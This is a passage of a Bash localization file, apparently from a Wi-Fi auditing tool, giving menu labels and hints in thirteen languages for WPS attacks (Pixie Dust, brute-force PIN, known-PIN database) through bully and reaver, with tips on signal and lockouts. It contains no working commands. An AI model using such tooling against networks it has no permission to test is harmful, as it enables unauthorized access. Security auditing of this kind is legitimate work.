arr["GERMAN",341]="Ausgewählte ESSID WPS: \${pink_color}Keines\${normal_color}" arr["TURKISH",341]="WPS ESSID seçildi: \${pink_color}None\${normal_color}" arr["ARABIC",341]="\${pink_color}None\${blue_color} :المختار ESSID WPS\${normal_color}" arr["CHINESE",341]="已选择的 WPS ESSID: \${pink_color}None\${normal_color}" arr["ENGLISH",342]="Pixie Dust attack obtains PIN and password in seconds, but not all access points are affected" arr["SPANISH",342]="El ataque Pixie Dust obtiene el PIN y la clave en segundos, pero no todos los puntos de acceso son vulnerables a este ataque" arr["FRENCH",342]="L'attaque Pixie Dust permet l'obtention du PIN et du mot de passe en quelques secondes mais les points d'accès ne sont pas tous vulnérables" arr["CATALAN",342]="L'atac Pixie Dust obté el PIN i la clau en segons, però no tots els punts d'accés són vulnerables a aquest atac" arr["PORTUGUESE",342]="O ataque Pixie Dust recebe o PIN e a senha em segundos, mas nem todos os pontos de acesso são vulneráveis a este ataque" arr["RUSSIAN",342]="Pixie Dust находит PIN-код и пароль за считанные секунды, но не все точки доступа подвержены этой атаке" arr["GREEK",342]="Η επίθεση Pixie Dust αποκτά το PIN και τον κωδικό πρόσβασης σε δευτερόλεπτα, αλλά μερικά σημεία πρόσβασης δεν επηρεάζονται" arr["ITALIAN",342]="L'attacco Pixie Dust ottiene il PIN e la password in pochi secondi, ma non tutti i punti di accesso sono vulnerabili a questo attacco" arr["POLISH",342]="Atak Pixie Dust pobiera PIN i klucz sieci w kilka sekund, ale nie wszystkie punkty dostępu są na niego podatne" arr["GERMAN",342]="Der Pixie Dust Angriff erhält die PIN und den Schlüssel in Sekundenschnelle, aber nicht alle Access Points sind für diesen Angriff anfällig" arr["TURKISH",342]="Pixie Dust saldırısı saniyeler içinde PIN ve şifre alır, ancak tüm erişim noktaları etkilenmez" arr["ARABIC",342]="وكلمة مرور في ثوانٍ ، ولكن ليس كل نقاط الوصول عرضة لهذا الهجوم PIN على رمز Pixie Dust يحصل هجوم" arr["CHINESE",342]="Pixie Dust 攻击可在数秒内获取 PIN 和密码,但并非所有的 AP 都会受影响" arr["ENGLISH",343]="In order to success on any WPS based attack, you need good signal of target network. We might otherwise get false negatives" arr["SPANISH",343]="Para realizar cualquier ataque WPS es necesario tener una buena señal de la red objetivo. Si no, podríamos obtener falsos negativos" arr["FRENCH",343]="Il faut être dans de bonnes conditions d'émission et de réception pour pouvoir mener à bien une attaque WPS. Sinon l'attaque pourrait se solder par un faux négatif" arr["CATALAN",343]="Per realitzar qualsevol atac WPS cal tenir un bon senyal de la xarxa objectiu. Si no, podríem obtenir falsos negatius" arr["PORTUGUESE",343]="Para executar qualquer ataque WPS você precisa ter um bom sinal da rede alvo. Caso contrario você pode obter falsos negativos" arr["RUSSIAN",343]="Чтобы добиться успеха в WPS атаке, вам необходимо иметь хороший сигнал с целевой сетью. В противном случае могут быть ложные срабатывания" arr["GREEK",343]="Για να εκτελεστεί επιτυχώς οποιαδήποτε επίθεση WPS, θα πρέπει να υπάρχει ισχυρό σήμα του δικτύου στόχου. Αλλιώς μπορεί να υπάρξουν ψευδώς αρνητικά αποτελέσματα" arr["ITALIAN",343]="Per qualsiasi attacco WPS è necessario avere un buon segnale della rete obiettivo. Altrimenti potremmo ottenere falsi negativi" arr["POLISH",343]="Aby wykonać dowolny atak WPS, trzeba mieć dobry sygnał z sieci docelowej. Jeśli nie, możemy błędnie stwierdzić ze AP jest odporny" arr["GERMAN",343]="Um einen WPS-Angriff auszuführen, ist ein gutes Signal vom Zielnetzwerk erforderlich. Wenn nicht, könnten wir falsche Negative bekommen" arr["TURKISH",343]="Herhangi bir WPS tabanlı saldırıda başarılı olmak için, iyi bir hedef ağ sinyaline ihtiyacınız vardır. Aksi halde yanlış negatifler alabiliriz" arr["ARABIC",343]="فأنت بحاجة إلى إشارة جيدة للشبكة المستهدفة. وإلا فقد نحصل على سلبيات كاذبة ،WPS من أجل النجاح في أي هجوم يعتمد على" arr["CHINESE",343]="为了在 WPS 攻击上取得成功,您需要目标网络的良好信号。否则可能会得到假的反馈信息" arr["ENGLISH",344]="Some access points can be blocked after failing some PIN connection attempts. It may vary depending on the access point" arr["SPANISH",344]="Algunos puntos de acceso se bloquean tras fallar cierto número de intentos de conexión por PIN. Puede variar dependiendo del punto de acceso" arr["FRENCH",344]="Certains routeurs bloquent le WPS après un certain nombre de PIN erronés. Ce nombre varie selon les modèle" arr["CATALAN",344]="Alguns punts d'accés es bloquejan després de fallar un cert nombre d'intents de connexió per PIN. Pot variar depenent del punt d'accés" arr["PORTUGUESE",344]="Alguns pontos de acesso podem estar bloqueados depois de receber uma série de tentativas incorretas de conexão por PIN. Isso pode variar dependendo do ponto de acesso" arr["RUSSIAN",344]="Некоторые точки доступа блокируются после нескольких неудачных попыток подключения с PIN-кодом. Зависит от конкретной точки доступа" arr["GREEK",344]="Μερικά σημεία πρόσβασης μπορεί να μπλοκαριστούν μετά από μερικές αποτυχημένες προσπάθειες σύνδεσης PIN. Μπορεί να διαφέρει ανάλογα με το σημείο πρόσβασης" arr["ITALIAN",344]="Alcuni punti di accesso si bloccano dopo un certo numero di tentativi di connessione con PIN. Può variare a seconda del punto di accesso" arr["POLISH",344]="Niektóre punkty dostępu są blokowane po pewnej liczbie prób PIN. Liczba ta może się różnić w zależności od punktu dostępu" arr["GERMAN",344]="Einige APs sind blockiert, nachdem einige Versuche zur PIN-Verbindung fehlgeschlagen sind. Dies kann abhängig vom Zugriffspunkt variieren" arr["TURKISH",344]="Bazı erişim noktaları, bazı PIN bağlantı girişimleri başarısız olduktan sonra engellenebilir. Erişim noktasına bağlı olarak değişebilir" arr["ARABIC",344]="قد يختلف حسب نقطة الوصول .PIN يمكن حظر بعض نقاط الوصول بعد فشل بعض محاولات توصيل" arr["CHINESE",344]="在尝试某些 PIN 连接失败后,接入行为可能会被阻止。因 AP 而异" arr["ENGLISH",345]="5. (bully) Custom PIN association" arr["SPANISH",345]="5. (bully) Asociación con PIN personalizado" arr["FRENCH",345]="5. (bully) Association avec PIN personnalisé" arr["CATALAN",345]="5. (bully) Associació amb PIN personalitzat" arr["PORTUGUESE",345]="5. (bully) Associação com um PIN personalizado" arr["RUSSIAN",345]="5. (bully) Подключение с известным PIN-кодом для раскрытия пароля сети" arr["GREEK",345]="5. (bully) Σύνδεση με εξατομικευμένο PIN" arr["ITALIAN",345]="5. (bully) Associazione con PIN personalizzato" arr["POLISH",345]="5. (bully) Asocjacja z niestandardowym kodem PIN" arr["GERMAN",345]="5. (bully) Assoziation mit personalisierter PIN" arr["TURKISH",345]="5. (bully) Özel PIN ilişkilendirmesi" arr["ARABIC",345]="5. PIN الارتباط مع (bully)" arr["CHINESE",345]="5. (bully) 自定义PIN关联" arr["ENGLISH",346]="7. (bully) Pixie Dust attack" arr["SPANISH",346]="7. (bully) Ataque Pixie Dust" arr["FRENCH",346]="7. (bully) Attaque Pixie Dust" arr["CATALAN",346]="7. (bully) Atac Pixie Dust" arr["PORTUGUESE",346]="7. (bully) Ataque Pixie Dust" arr["RUSSIAN",346]="7. (bully) Атака Pixie Dust" arr["GREEK",346]="7. (bully) Επίθεση Pixie Dust" arr["ITALIAN",346]="7. (bully) Attacco Pixie Dust" arr["POLISH",346]="7. (bully) Atak Pixie Dust" arr["GERMAN",346]="7. (bully) Pixie Dust Angriff" arr["TURKISH",346]="7. (bully) Pixie Dust saldırısı" arr["ARABIC",346]="7. Pixie Dust هجوم (bully)" arr["CHINESE",346]="7. (bully) Pixie Dust 攻击" arr["ENGLISH",347]="9. (bully) Bruteforce PIN attack" arr["SPANISH",347]="9. (bully) Ataque de fuerza bruta por PIN" arr["FRENCH",347]="9. (bully) Attaque brute force PIN" arr["CATALAN",347]="9. (bully) Atac de força bruta per PIN" arr["PORTUGUESE",347]="9. (bully) Ataque de força bruta por PIN" arr["RUSSIAN",347]="9. (bully) Атака с полным перебором PIN-кода" arr["GREEK",347]="9. (bully) Επίθεση PIN με χρήση ωμής βίας" arr["ITALIAN",347]="9. (bully) Attacco forza bruta con PIN" arr["POLISH",347]="9. (bully) Atak Brute Force za pomocą kodu PIN" arr["GERMAN",347]="9. (bully) Brute-Force-Angriff durch PIN" arr["TURKISH",347]="9. (bully) Bruteforce PIN saldırısı" arr["ARABIC",347]="9. Bruteforce PIN هجوم (bully)" arr["CHINESE",347]="9. (bully) Bruteforce PIN 攻击" arr["ENGLISH",348]="11. (bully) Known PINs database based attack" arr["SPANISH",348]="11. (bully) Ataque basado en base de datos de PINs conocidos" arr["FRENCH",348]="11. (bully) Attaque en utilisant un PIN de la base de données" arr["CATALAN",348]="11. (bully) Atac basat en base de dades de PINs coneguts" arr["PORTUGUESE",348]="11. (bully) Ataque com base em um banco de dados de PINs conhecidos" arr["RUSSIAN",348]="11. (bully) Атака на основе базы данных известных и сгенерированных PIN-кодов" arr["GREEK",348]="11. (bully) Επίθεση με χρήση βάσης δεδομένων γνωστών PIN" arr["ITALIAN",348]="11. (bully) Attacco che utilizza una base dati di PIN" arr["POLISH",348]="11. (bully) Atak oparty o bazę danych znanych PINów" arr["GERMAN",348]="11. (bully) Angriff auf Datenbank bekannter PINs basiert" arr["TURKISH",348]="11. (bully) Bilinen PIN'ler veritabanı saldırısı" arr["ARABIC",348]="11. معروفة PINs هجوم قائم على قاعدة بيانات (bully)" arr["CHINESE",348]="11. (bully) 基于已知 PIN 数据库的攻击" arr["ENGLISH",349]=" N. BSSID CHANNEL PWR V LOCKED ESSID" arr["SPANISH",349]=" N. BSSID CANAL PWR V LOCKED ESSID" arr["FRENCH",349]=" N. BSSID CANAL PWR V LOCKED ESSID" arr["CATALAN",349]=" N. BSSID CANAL PWR V LOCKED ESSID" arr["PORTUGUESE",349]=" N. BSSID CANAL PWR V LOCKED ESSID" arr["RUSSIAN",349]=" N. BSSID CHANNEL PWR V LOCKED ESSID" arr["GREEK",349]=" N. BSSID CHANNEL PWR V LOCKED ESSID" arr["ITALIAN",349]=" N. BSSID CANALE PWR V LOCKED ESSID" arr["POLISH",349]=" N. BSSID KANAŁ PWR V LOCKED ESSID" arr["GERMAN",349]=" N. BSSID KANAL PWR V LOCKED ESSID" arr["TURKISH",349]=" N. BSSID KANAL PWR V LOCKED ESSID" arr["ARABIC",349]=" N. BSSID CHANNEL PWR V LOCKED ESSID" arr["CHINESE",349]=" 序号 BSSID 信道 信号强度 V 锁定 ESSID" arr["ENGLISH",350]="\${blue_color}You have selected a locked WPS network \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",350]="\${blue_color}Has seleccionado una red WPS bloqueada \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",350]="\${blue_color}Vous avez sélectionné un réseau dont le WPS est bloqué \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",350]="\${blue_color}Has seleccionat una xarxa WPS bloquejada \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",350]="\${blue_color}Você selecionou uma rede com WPS bloqueado \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",350]="\${blue_color}Вы выбрали заблокированную WPS сеть \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",350]="\${blue_color}Έχετε επιλέξει ένα κλειδωμένο WPS δίκτυο \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",350]="\${blue_color}È stata selezionata una rete WPS bloccata \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",350]="\${blue_color}Wybrano sieć z zablokowanym WPS \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",350]="\${blue_color}Sie haben ein blockiertes WPS-Netzwerk ausgewählt \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",350]="\${blue_color}Kilitli bir WPS ağı seçtiniz \${green_color}Devam etmek ister misiniz? \${normal_color}\${visual_choice}" arr["ARABIC",350]="\${normal_color}\${visual_choice} \${green_color}هل تريد المتابعة؟ \${blue_color}مقفلة WPS لقد اخترت شبكة\${normal_color}" arr["CHINESE",350]="\${blue_color}您选择了一个锁定的 WPS 网络\${green_color}您要继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",351]="WPS locked network: \${pink_color}\${wps_locked}\${normal_color}" arr["SPANISH",351]="Red WPS bloqueada: \${pink_color}\${wps_locked}\${normal_color}" arr["FRENCH",351]="Blocage du WPS: \${pink_color}\${wps_locked}\${normal_color}" arr["CATALAN",351]="Xarxa WPS bloquejada: \${pink_color}\${wps_locked}\${normal_color}" arr["PORTUGUESE",351]="Rede com WPS bloqueado: \${pink_color}\${wps_locked}\${normal_color}" arr["RUSSIAN",351]="Сеть с заблокированным WPS: \${pink_color}\${wps_locked}\${normal_color}" arr["GREEK",351]="Κλειδωμένο WPS δίκτυο: \${pink_color}\${wps_locked}\${normal_color}" arr["ITALIAN",351]="Rete WPS bloccata: \${pink_color}\${wps_locked}\${normal_color}" arr["POLISH",351]="Zablokowana sieć WPS: \${pink_color}\${wps_locked}\${normal_color}" arr["GERMAN",351]="Blockiertes WPS-Netzwerk: \${pink_color}\${wps_locked}\${normal_color}" arr["TURKISH",351]="WPS kilitli ağ: \${pink_color}\${wps_locked}\${normal_color}" arr["ARABIC",351]="\${pink_color}\${wps_locked}\${blue_color} :مقفلة WPS شبكة\${normal_color}" arr["CHINESE",351]="WPS锁定网络: \${pink_color}\${wps_locked}\${normal_color}" arr["ENGLISH",352]="WPS locked network: \${pink_color}None\${normal_color}" arr["SPANISH",352]="Red WPS bloqueada: \${pink_color}Ninguno\${normal_color}" arr["FRENCH",352]="Blocage du WPS: \${pink_color}Aucun\${normal_color}" arr["CATALAN",352]="Xarxa WPS bloquejada: \${pink_color}Ningú\${normal_color}" arr["PORTUGUESE",352]="Rede com WPS bloqueado: \${pink_color}Nenhum\${normal_color}" arr["RUSSIAN",352]="Сеть с заблокированным WPS: \${pink_color}Нет\${normal_color}" arr["GREEK",352]="Κλειδωμένο WPS δίκτυο: \${pink_color}Κανένα\${normal_color}" arr["ITALIAN",352]="Rete WPS bloccata: \${pink_color}Nessuno\${normal_color}" arr["POLISH",352]="Zablokowana sieć WPS: \${pink_color}Brak\${normal_color}" arr["GERMAN",352]="Blockiertes WPS-Netzwerk: \${pink_color}Keins\${normal_color}" arr["TURKISH",352]="WPS kilitli ağ: \${pink_color}None\${normal_color}" arr["ARABIC",352]="\${pink_color}None\${blue_color} :مقفلة WPS شبكة\${normal_color}" arr["CHINESE",352]="WPS 锁定: \${pink_color}None\${normal_color}" arr["ENGLISH",353]="Checking to solve possible \"bad FCS\" problem if exists. Parameterizing..." arr["SPANISH",353]="Realizando una pequeña prueba para solventar el posible problema de \"bad FCS\" si existiese. Parametrizando..." arr["FRENCH",353]="Vérification de routine pour prévenir une éventuelle erreur de type \"bad FCS\"" arr["CATALAN",353]="Realitzant una petita prova per solucionar el possible problema de \"bad FCS\" si existís. Parametritzant..." arr["PORTUGUESE",353]="Fazendo alguns testes para resolver o possível problema \"bad FCS\". Definindo parâmetro..." arr["RUSSIAN",353]="Проверка возможного решения проблемы \"bad FCS (контроля последовательности кадров)\" если она существует. Параметризация..." arr["GREEK",353]="Γίνεται έλεγχος επίλυσης πιθανού σφάλματος \"bad FCS\" αν υπάρχει. Γίνεται παραμετροποίηση..." arr["ITALIAN",353]="Effettuando un piccolo test per risolvere il possibile problema di \"bad FCS\" se presente. Parametrizzando..." arr["POLISH",353]="Przeprowadzenie małego testu, aby rozwiązać problem \"bad FCS\" jeśli istniał. Parametryzowanie..." arr["GERMAN",353]="Ein Test wird ausgeführt, um das mögliche Problem von \"bad FCS\" zu lösen, falls es existiert. Parametrieren..." arr["TURKISH",353]="Varsa olası \"bad FCS\" sorununu çözme kontrol ediliyor. Parametrelendiriliyor..." arr["ARABIC",353]="...تحديد المعلمات .\"bad FCS\" فحص لمنع حدوث خطأ محتمل في نوع" arr["CHINESE",353]="检查以解决可能存在的“坏 FCS”问题。正在进行参数化..." arr["ENGLISH",354]="Done! parameter set" arr["SPANISH",354]="Hecho! parámetro fijado" arr["FRENCH",354]="Paramètres définis!" arr["CATALAN",354]="Fet! paràmetre fixat" arr["PORTUGUESE",354]="Feito! parâmetro definido" arr["RUSSIAN",354]="Сделано! параметры заданы" arr["GREEK",354]="Έγινε! η παράμετρος τέθηκε" arr["ITALIAN",354]="Fatto! parametro impostato" arr["POLISH",354]="Zrobione! parametry ustawione" arr["GERMAN",354]="Fertig! Parameter eingestellt" arr["TURKISH",354]="Tamamdır! parametre ayarlandı" arr["ARABIC",354]="!تم تعريف المعلمات" arr["CHINESE",354]="参数化完毕!" arr["ENGLISH",355]="It seems this interface was parametrized before. It's not necessary to check again" arr["SPANISH",355]="Esta interfaz ya fue parametrizada anteriormente. No es necesario realizar de nuevo el chequeo" arr["FRENCH",355]="Cette interface a déjà été configurée: Pas besoin de vérifier de nouevau son état" arr["CATALAN",355]="Sembla que aquesta interfície va ser parametritzada abans. No cal verificar-ho de nou" arr["PORTUGUESE",355]="Esta interface já foi configurada anteriormente. Não é necessário verificar novamente" arr["RUSSIAN",355]="Этот интерфейс был параметризован ранее. Нет необходимости проверять снова" arr["GREEK",355]="Φαίνεται πως αυτή η διεπαφή παραμετροποιήθηκε προηγουμένως. Δεν είναι απαραίτητο να γίνει έλεγχος ξανά" arr["ITALIAN",355]="Questa interfaccia è stata configurata anteriormente. Non c'è bisogno di controllare di nuovo" arr["POLISH",355]="Ten interfejs został wcześniej sparametryzowany. Nie jest konieczne ponownie sprawdzenie" arr["GERMAN",355]="Diese Interface wurde zuvor parametriert. Es ist nicht notwendig, die Überprüfung erneut durchzuführen" arr["TURKISH",355]="Bu arayüz daha önce parametrize edilmiş gibi görünüyor. Tekrar kontrol etmek gerekli değil" arr["ARABIC",355]="تمت تهيئة هذه الواجهة بالفعل: لا داعي للتحقق من حالتها مرة أخرى" arr["CHINESE",355]="似乎这个接口之前被参数化了。没必要再检查" arr["ENGLISH",356]="Some combinations don't work well. Such as reaver and Ralink chipset cards. If your card has this chipset is recommended to use bully" arr["SPANISH",356]="Algunas combinaciones no funcionan bien. Como por ejemplo reaver y las tarjetas con chipset Ralink. Si tu tarjeta tiene este chipset es mejor utilizar bully" arr["FRENCH",356]="Il existe certains problèmes spécifiques de compatibilité. L’exemple le plus marquant est sans aucun doute celui des chipsets Ralink qui ne fonctionnent pas bien avec reaver. Il est donc conseillé d'utiliser bully avec ces chipsets" arr["CATALAN",356]="Algunes combinacions no funcionan bé. Com per exemple reaver i les targetes amb chipset Ralink. Si la teva targeta té aquest chipset és millor utilitzar bully" arr["PORTUGUESE",356]="Algumas combinações não funcionam bem. Tais como reaver e placas de rede com chipset Ralink. Se o sua placa de rede tem este chipset é melhor usar bully" arr["RUSSIAN",356]="Некоторые комбинации не работают нормально. К примеру reaver и карты с чипсетом Ralink. Если ваша карта имеет этот чипсет, то рекомендуется использовать bully" arr["GREEK",356]="Μερικοί συνδυασμοί δεν λειτουργούν καλά. Όπως για παράδειγμα το reaver με κάρτες που έχουν Ralink chipset. Αν η κάρτα σας έχει αυτό το chipset είναι προτιμότερο να χρησιμοποιήσετε το bully" arr["ITALIAN",356]="Alcune combinazioni non funzionano bene. Come ad esempio reaver e le schede con chipset Ralink. Se la scheda ha questo chipset è meglio usare bully" arr["POLISH",356]="Niektóre kombinacje nie działają dobrze. Jak na przykład reaver i karty z chipsetem Ralink. Jeśli Twoja karta ma ten chipset lepiej jest użyć bully" arr["GERMAN",356]="Einige Kombinationen funktionieren nicht gut. Zum Beispiel Reaver und Karten mit Ralink-Chipsatz. Wenn Ihre Karte diesen Chipsatz hat, ist es besser, bully zu benutzen" arr["TURKISH",356]="Bazı kombinasyonlar iyi çalışmıyor. Reaver ve Ralink chipset kartları gibi. Kartınızın bu yonga seti varsa, bully kullanmanız önerilir" arr["ARABIC",356]="bully إذا كانت بطاقتك تحتوي على هذه الشرائح فمن المستحسن استخدام .Ralink و reaver بعض التركيبات لا تعمل بشكل جيد. مثل بطاقات" arr["CHINESE",356]="有些组合效果不佳。比如 reaver 和 Ralink 芯片组的网卡。如果你的无线网卡使用这个芯片组,建议使用 bully 而不是 reaver" arr["ENGLISH",357]="6. (reaver) Custom PIN association" arr["SPANISH",357]="6. (reaver) Asociación con PIN personalizado" arr["FRENCH",357]="6. (reaver) Association avec le code PIN personnalisé" arr["CATALAN",357]="6. (reaver) Associació amb PIN personalitzat" arr["PORTUGUESE",357]="6. (reaver) Associação com um PIN personalizado" arr["RUSSIAN",357]="6. (reaver) Подключение с известным PIN-кодом для раскрытия пароля сети" arr["GREEK",357]="6. (reaver) Σύνδεση με εξατομικευμένο PIN" arr["ITALIAN",357]="6. (reaver) Associazione con PIN personalizzato" arr["POLISH",357]="6. (reaver) Asocjacja z niestandardowym kodem PIN" arr["GERMAN",357]="6. (reaver) Assoziation mit Custom PIN" arr["TURKISH",357]="6. (reaver) Özel PIN ilişkilendirmesi" arr["ARABIC",357]="6. مخصص PIN اقتران (reaver)" arr["CHINESE",357]="6. (reaver) 自定义 PIN 关联" arr["ENGLISH",358]="8. (reaver) Pixie Dust attack" arr["SPANISH",358]="8. (reaver) Ataque Pixie Dust" arr["FRENCH",358]="8. (reaver) Attaque Pixie Dust" arr["CATALAN",358]="8. (reaver) Atac Pixie Dust" arr["PORTUGUESE",358]="8. (reaver) Ataque Pixie Dust" arr["RUSSIAN",358]="8. (reaver) Атака Pixie Dust" arr["GREEK",358]="8. (reaver) Επίθεση Pixie Dust" arr["ITALIAN",358]="8. (reaver) Attacco Pixie Dust" arr["POLISH",358]="8. (reaver) Atak Pixie Dust" arr["GERMAN",358]="8. (reaver) Pixie Dust Angriff" arr["TURKISH",358]="8. (reaver) Pixie Dust saldırısı" arr["ARABIC",358]="8. Pixie Dust هجوم (reaver)" arr["CHINESE",358]="8. (reaver) Pixie Dust 攻击" arr["ENGLISH",359]="10. (reaver) Bruteforce PIN attack" arr["SPANISH",359]="10. (reaver) Ataque de fuerza bruta por PIN" arr["FRENCH",359]="10. (reaver) Attaque de force brute PIN" arr["CATALAN",359]="10. (reaver) Atac de força bruta per PIN" arr["PORTUGUESE",359]="10. (reaver) Ataque de força bruta por PIN" arr["RUSSIAN",359]="10. (reaver) Атака c полным перебором PIN-кода" arr["GREEK",359]="10. (reaver) Επίθεση PIN με χρήση ωμής βίας" arr["ITALIAN",359]="10. (reaver) Attacco forza bruta con PIN" arr["POLISH",359]="10. (reaver) Atak Brute Force za pomocą kodu PIN" arr["GERMAN",359]="10. (reaver) Brute-Force-Angriff durch PIN" arr["TURKISH",359]="10. (reaver) Bruteforce PIN saldırısı" arr["ARABIC",359]="10. Bruteforce PIN هجوم (reaver)" arr["CHINESE",359]="10. (reaver) 暴力破解密码攻击" arr["ENGLISH",360]="12. (reaver) Known PINs database based attack" arr["SPANISH",360]="12. (reaver) Ataque basado en base de datos de PINs conocidos" arr["FRENCH",360]="12. (reaver) Attaque en utilisant la base de données de PIN connus" arr["CATALAN",360]="12. (reaver) Atac basat en base de dades de PINs coneguts" arr["PORTUGUESE",360]="12. (reaver) Ataque com base em um banco de dados de PINs conhecidos" arr["RUSSIAN",360]="12. (reaver) Атака на основе базы данных известных и сгенерированных PIN-кодов" arr["GREEK",360]="12. (reaver) Επίθεση με χρήση βάσης δεδομένων γνωστών PIN" arr["ITALIAN",360]="12. (reaver) Attacco che utilizza una base dati di PINs conosciuti" arr["POLISH",360]="12. (reaver) Atak oparty o bazę danych znanych PINów" arr["GERMAN",360]="12. (reaver) Angriff basiert auf Datenbank mit bekannte PINs" arr["TURKISH",360]="12. (reaver) Bilinen PIN'ler veritabanı tabanlı saldırı" arr["ARABIC",360]="12. معروفة PINs هجوم قائم على قاعدة بيانات (reaver)" arr["CHINESE",360]="12. (reaver) 基于已知 PIN 数据库的攻击" arr["ENGLISH",361]="WPA/WPA2/WPA3 filter enabled in scan. When started, press [Ctrl+C] to stop..." arr["SPANISH",361]="Filtro WPA/WPA2/WPA3 activado en escaneo. Una vez empezado, pulse [Ctrl+C] para pararlo..." arr["FRENCH",361]="Le filtre WPA/WPA2/WPA3 est activé dans la scan. Une fois l'opération lancée, veuillez presser [Ctrl+C] pour l'arrêter..." arr["CATALAN",361]="Filtre WPA/WPA2/WPA3 activat en escaneig. Una vegada iniciat, polsi [Ctrl+C] per detenir-ho..." arr["PORTUGUESE",361]="Filtro WPA/WPA2/WPA3 ativo na busca de redes wifi. Uma vez iniciado, pressione [Ctrl+C] para pará-lo..." arr["RUSSIAN",361]="Для сканирования включен фильтр WPA/WPA2/WPA3. После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",361]="Το φίλτρο WPA/WPA2/WPA3 ενεργοποιήθηκε κατά τη σάρωση. Όταν αρχίσει, μπορείτε να το σταματήσετε πατώντας [Ctrl+C]..." arr["ITALIAN",361]="Filtro WPA/WPA2/WPA3 attivato nella scansione. Una volta avviata, premere [Ctrl+C] per fermarla..." arr["POLISH",361]="Filtr WPA/WPA2/WPA3 aktywowany podczas skanowania. Naciśnij [Ctrl+C] w trakcie trwania, aby zatrzymać..." arr["GERMAN",361]="WPA/WPA2/WPA3-Filter beim Scannen aktiviert. Nach dem Start, drücken Sie [Ctrl+C], um es zu stoppen..." arr["TURKISH",361]="WPA/WPA2/WPA3 filtresi aktifleştirildi. Başladıktan sonra, durdurmak için [Ctrl+C] tuşlayınız..." arr["ARABIC",361]="...للإيقاف [Ctrl+C] عند البدء ، اضغط على .WPA/WPA2/WPA3 تم تفعيل مرشح" arr["CHINESE",361]="WPA/WPA2/WPA3 过滤器在扫描中启用。按 [Ctrl+C] 停止..." arr["ENGLISH",362]="Custom PIN set to \${normal_color}\${custom_pin}" arr["SPANISH",362]="PIN personalizado elegido \${normal_color}\${custom_pin}" arr["FRENCH",362]="PIN personnalisé définit \${normal_color}\${custom_pin}" arr["CATALAN",362]="PIN personalitzat triat \${normal_color}\${custom_pin}" arr["PORTUGUESE",362]="PIN personalizado escolhido \${normal_color}\${custom_pin}" arr["RUSSIAN",362]="Пользовательский PIN установлен на \${normal_color}\${custom_pin}" arr["GREEK",362]="Το εξατομικευμένο PIN τέθηκε σε \${normal_color}\${custom_pin}" arr["ITALIAN",362]="PIN personalizzato scelto \${normal_color}\${custom_pin}" arr["POLISH",362]="Wybrany PIN \${normal_color}\${custom_pin}" arr["GERMAN",362]="Custom PIN gewählt \${normal_color}\${custom_pin}" arr["TURKISH",362]="Özel PIN \${normal_color}\${custom_pin} \${blue_color}olarak ayarlandı" arr["ARABIC",362]="\${normal_color}\${custom_pin}\${blue_color} شخصي على PIN تم تعيين\${normal_color}" arr["CHINESE",362]="自定义 PIN 设置为 \${normal_color}\${custom_pin}" arr["ENGLISH",363]="Type custom PIN (8 digits):" arr["SPANISH",363]="Escribe el PIN personalizado (8 dígitos):" arr["FRENCH",363]="Rentrez PIN personnalisé (8 chiffres):" arr["CATALAN",363]="Escriu el PIN personalitzat (8 dígits):" arr["PORTUGUESE",363]="Digite o PIN personalizado (8 dígitos):" arr["RUSSIAN",363]="Введите пользовательский PIN (8 цифр):" arr["GREEK",363]="Πληκτρολογήστε εξατομικευμένο PIN (8 ψηφία):" arr["ITALIAN",363]="Inserire il PIN personalizzato (8 cifre):" arr["POLISH",363]="Wprowadź niestandardowy kod PIN (8 cyfr):" arr["GERMAN",363]="Schreiben Sie die Custom PIN (8-stellig):" arr["TURKISH",363]="Özel PIN (8 haneli) yazın:" arr["ARABIC",363]=":(شخصي (8 أرقام PIN اكتب رقم" arr["CHINESE",363]="输入自定义 PIN (8 位数字):" arr["ENGLISH",364]="BSSID set to \${normal_color}\${wps_bssid}" arr["SPANISH",364]="BSSID elegido \${normal_color}\${wps_bssid}" arr["FRENCH",364]="Le BSSID choisi est \${normal_color}\${wps_bssid}" arr["CATALAN",364]="El BSSID escollit \${normal_color}\${wps_bssid}" arr["PORTUGUESE",364]="BSSID escolhido \${normal_color}\${wps_bssid}" arr["RUSSIAN",364]="BSSID установлена на \${normal_color}\${wps_bssid}" arr["GREEK",364]="Το BSSID τέθηκε σε \${normal_color}\${wps_bssid}" arr["ITALIAN",364]="BSSID selezionato \${normal_color}\${wps_bssid}" arr["POLISH",364]="Wybrano BSSID \${normal_color}\${wps_bssid}" arr["GERMAN",364]="Gewählte BSSID \${normal_color}\${wps_bssid}" arr["TURKISH",364]="BSSID \${normal_color}\${wps_bssid} \${blue_color}olarak ayarlandı" arr["ARABIC",364]="\${normal_color}\${wps_bssid}\${blue_color} المختار BSSID\${normal_color}" arr["CHINESE",364]="BSSID 自动根据所选择的无线网设置为 \${normal_color}\${wps_bssid}" arr["ENGLISH",365]="Channel set to \${normal_color}\${wps_channel}" arr["SPANISH",365]="Canal elegido \${normal_color}\${wps_channel}" arr["FRENCH",365]="Le canal \${normal_color}\${wps_channel}\${blue_color} a été choisi" arr["CATALAN",365]="El canal \${normal_color}\${wps_channel}\${blue_color} s'ha escollit" arr["PORTUGUESE",365]="Canal \${normal_color}\${wps_channel}\${blue_color} selecionado" arr["RUSSIAN",365]="Канал установлен на \${normal_color}\${wps_channel}" arr["GREEK",365]="Το κανάλι \${normal_color}\${wps_channel}\${blue_color} έχει επιλεχθεί" arr["ITALIAN",365]="Canale selezionato \${normal_color}\${wps_channel}" arr["POLISH",365]="Wybrany kanał \${normal_color}\${wps_channel}" arr["GERMAN",365]="Ausgewählter Kanal \${normal_color}\${wps_channel}" arr["TURKISH",365]="Kanal \${normal_color}\${wps_channel} \${blue_color}olarak ayarlandı" arr["ARABIC",365]="\${normal_color}\${wps_channel}\${blue_color} القناة المختارة\${normal_color}" 